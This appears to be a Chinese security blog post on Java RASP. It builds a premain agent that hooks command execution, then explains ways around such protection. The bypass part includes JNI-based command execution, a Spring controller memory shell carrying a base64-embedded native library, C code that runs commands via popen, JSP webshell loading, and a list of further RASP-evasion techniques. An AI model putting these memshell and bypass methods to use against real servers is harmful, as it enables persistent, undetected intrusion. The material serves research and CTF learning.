参考
前言
跟java agent有关的知识点可见:https://cina666.github.io/2025/05/21/java%E5%86%85%E5%AD%98%E9%A9%AC%E4%B9%8Bjava-agent/,https://blog.potatowo.top/2025/04/25/JavaAgent%E4%B8%8ERASP
RASP实现
premain
前面我们已经学到了如何利用java-agent来进行攻击,那么同样我们可以写一个简单的hook掉exec方法的rasp
这里我们用的是premain方法
先创建一个rasp_test类,如下所示:
1 | package Test3; |
MANIFEST.MF内容如下所示:
1 | Manifest-Version: 1.0 |
pom.xml中的maven配置要为maven-assembly-plugin,这样后面打包成jar包的时候才会把依赖一起打包进去

执行:mvn clean package进行打包
模拟的服务如下:
1 | package Test3; |
运行该文件前我们要先对其运行配置进行修改
修改选项选择“添加虚拟机选项”

然后输入javaagent参数:-javaagent:E:\mycode\java_max\java_agent\target\java_agent-1.0-SNAPSHOT-jar-with-dependencies.jar
现在执行该文件,我们可以见到被直接拦下来了
agentmain
通过agentmain方法来进行防范的rasp虽然在java运行的优先级上落后于premain方法,但也不失是一个好办法
这里就不赘述了,具体可见:https://www.freebuf.com/articles/web/414700.html
RASP绕过
在RASP里其实是Hook掉了一些Runtime、ProcessBuilder 等类,但是Runtime.exec调用的是ProcessBuilder.start,ProcessBuilder.start的底层会调用ProcessImpl类。那么这时候只需要去Hook掉ProcessImpl就无法进行执行命令了。那么像这种基于堆栈调用去识别的该怎么去绕过呢?
Java 命令执行的几种方式中,追溯到底层其实只有 UNIXProcess 和 ProcessImpl
根据 RASP 不同的实现,通常有两种方法绕过:
- 寻找没有被限制的类或者函数来绕过,也就是绕过黑名单
- 利用更底层的技术进行绕过,例如从 C 代码的层面进行绕过
绕黑名单
以 MRCTF 2022 springcoffee 中的 RASP 为例,这道题对 java.lang.ProcessImpl.start 函数进行了过滤。
1 | public class RaspTransformer implements ClassFileTransformer { |
Java 命令执行的几种方式中,追溯到底层其实只有 UNIXProcess 和 ProcessImpl,因此这里可以用 UNIXProcess 进行绕过。
通过JNI绕过黑名单
JNI(Java Native Interface)是 Java 提供的一种机制,用于在 Java 程序中调用本地(Native)代码,即使用其他语言(如C、C++)编写的代码,从而可以充分利用本地代码的功能和性能优势,实现对底层系统资源和外部库的访问
JNI的基本使用
步骤可以归纳为如下的五步:
- 编写一个 java 文件,其中定义一个 native 方法,然后使用 javac 编译得到 .class 文件
- 使用 javah 进行对 .class 文件进行处理,得到编写 C 代码所需的头文件。
- 编写命令执行的 C 语言实现
- 将编写的 C 代码编译为 lib 或者 dll(注意jdk版本要与目标机器的jdk保持一致)
- 编写一个 Java 类调用 System.loadLibrary 方法加载 dll 文件。
第一步:编写 native 方法
新建一个 NativeLibraryExample 类:
1 | public class NativeLibraryExample { |
使用 javac 对其进行编译:
1 | javac NativeLibraryExample.java |
得到了 NativeLibraryExample.class 文件
第二步:使用 javah 生成头文件
使用 javah 生成对应的头文件。
1 | javah -jni NativeLibraryExample |
得到 NativeLibraryExample.h
从 JDK 8 开始,推荐使用 javac命令的 -h选项来一步完成编译和头文件生成,这更简单直接
1 | # 直接对 .java 源文件操作,同时完成编译和生成头文件 |
第三步:编写 C 代码
编写 C 语言实现,包含上一步生成的 .h 文件:
确保C函数名严格遵循Java_包名_类名_方法名的命名规范
JniClass.c
1 |
|
第四步:编译成 dll 或者 lib
Linux 下使用的命令进行编译,编译时需要添加 jdk include 目录和 inlcude/linux 目录。
1 | gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c |
windows 环境使用如下的命令(在cmd中)
1 | gcc -I"%JAVA_HOME%\include" -I"%JAVA_HOME%\include\win32" -shared -o libcmd.dll JniClass.c |
第五步:加载 so 文件
修改 NativeLibraryExample 的 main 方法,使用 System.load 将 so 文件加载进来。
1 | public class NativeLibraryExample { |
调用 nativeMethod 执行命令
实际场景下的 JNI 利用
实际渗透场景中通常需要先将恶意链接库放入服务器中,大致可以分为如下的两种情形:
- 先利用文件上传漏洞将编译好的 so 或者 dll 放入服务器中,然后再加载运行。
- 先利用 webshell 将 so 或 dll 写入服务器,然后再加载运行。
JSP webshell
javasec 中的 JSP 示例如下,其代码的实现与正向开发有一些区别:
- 将定义的 Java 转化为字节数组,通过 defineClass 对其进行加载,从而获取到定义了 native 方法的 Java 类。
- 将 so 文件内容的 base64 编码定义为常量,加载这个 jsp 时,将 so 的内容写入到服务器临时文件目录下。
- 加载 so 时,并没有使用 System.load 函数,而是使用 ClassLoader.loadLibrary0 方法。实际上 System.load 底层也是调用的 ClassLoader.loadLibrary0。
- 调用过程采用反射完成。
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
代码中的 COMMAND_JNI_FILE_BYTES 内容较大,具体文件内容可见:javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp at master · javaweb-sec/javaweb-sec · GitHub
脚本中需要先将 .class 转化为字节数组,代码如下:
1 | public static byte[] getBytesArrayFromClassFile(String classFilePath) throws Exception{ |
反序列化利用
反序列化利用时实现原理与 JSP 一致,也同样需要将 so 文件内容的 base64 编码定义为常量,在反序列化触发时,将 so 的内容写入到服务器临时文件目录下,再进行加载。
我们可以在一个普通的 controller 内存马的基础上,将其改造成 JNI 内存马。controller 内存马如下, 该内存马重写了 index 方法,并在静态代码块中将自身添加到 RequestMapping 中。
1 | import org.springframework.web.bind.annotation.ResponseBody; |
在其基础上新建一个 SpringControllerMemshell 类,进行如下的修改:
- 添加一个 native 方法
- 将原有的 index 方法改为执行 doExec 方法。
- 添加一个成员变量 jniCodes,用于存放 base64 编码后的 so 文件内容。
- 添加一个 getJNILibFile 方法,用于在 /tmp 目录下写入 so 文件,并返回文件路径。
- 在 static 代码块中使用 System.load 加载 so 文件。
文件内容修改如下:
1 | import org.springframework.web.bind.annotation.ResponseBody; |
接着就是常规的步骤:
使用 javac 进行编译
使用 javah 生成 .h 文件
编写 c 代码。示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 256, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_xyz_eki_marshalexp_memshell_SpringBoot_Controller_SpringControllerJNIMemshell_doExec(JNIEnv *env, jobject thisObj,jstring jstr) {
const char *cstr = env->GetStringUTFChars(jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[256] = "";
strcat(return_messge, result);
jstring cmdresult = env->NewStringUTF(return_messge);
//system();
return cmdresult;
}
JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* vm, void* reserved){
return JNI_VERSION_1_4; //这里很重要,必须返回版本,否则加载会失败。
}编译并获取 base64 编码内容
1
2
3
4
5
6
7
8
9
10OBJ = SpringControllerJNIMemshell.cpp
CFLAGS = -shared -fPIC
CC = gcc
TARGET = jni.so
all:
$(CC) -I"${JAVA_HOME}/include" -I"${JAVA_HOME}/include/linux" $(OBJ) $(CFLAGS) -o $(TARGET)
clean:
rm *.o *.so获取 base64
1
cat jni.so | base64 -w 0
获取 base64 编码内容后,将其填充到 jniCodes 中,使用反序列化利用链打入即可
其他绕过方法
其他的绕过方法研究可以参考文章:RASP的安全攻防研究实践 - admin-神风 - 博客园,这里仅进行罗列:
- 破坏 RASP 的开关。OpenRASP 中存在一个 hook 开关,反射修改这个 hook 开关可关闭所有拦截。Jrasp 没有明显的开关可以去操控但作者也实现的类似的效果。
- 熔断开关。很多商业化的产品有类似的CPU熔断机制,如果 CPU 达到 90%,就自动关闭 Rasp 的拦截。因此可以通过发送一些大的数据包或者流量,造成 CPU 的压力来触发 RASP 的熔断开关
- 伪装恶意类。很多 RASP 产品是通过堆栈信息回溯的方式来判断命令执行的地方从哪里来,例如检测 behinder 时会判断堆栈是否包含net.rebeyond.behinder类开头的信息。作者给出了伪装类名的方法。
- 新建线程绕过。新建线程可以绕过堆栈检查,但无法绕过黑白名单。
- Bootstrap ClassLoader 加载绕过内存马检测。某些 RASP 在检测内存马时,通过判断当前类的 ClassLoader 是否存在对应的 .class 文件落地,使用Instrumentation.appendToBootstrapClassLoaderSearch 方法加载的 jar 包是以 Bootstrap ClassLoader 加载的,因此能够绕过检测。
- 通过 Unsafe 方式绕过。Unsafe.allocateInstance方法可以实例化一个对象而不调用它的构造方法,再去执行它的 Native 方法,从而绕过 Rasp 的检测。作者给出的示例中,通过直接执行 forkAndExec 的 Native 方法来执行命令。
- 通过 WindowsVirtualMachine 注入 ShellCode 加载。向自身进程植入并运行 ShellCode 绕过 RASP
- Java 跨平台任意 Native 代码执行。
- 弱引用 GC. 一种依托 WeakReference 弱引用的命令执行方式,有别于常规的命令执行,因此在某些场景下可以绕过。
- 高权限场景卸载 RASP。通过获取 tools.jar 的路径,调用里面的 JVM API 来卸载 RASP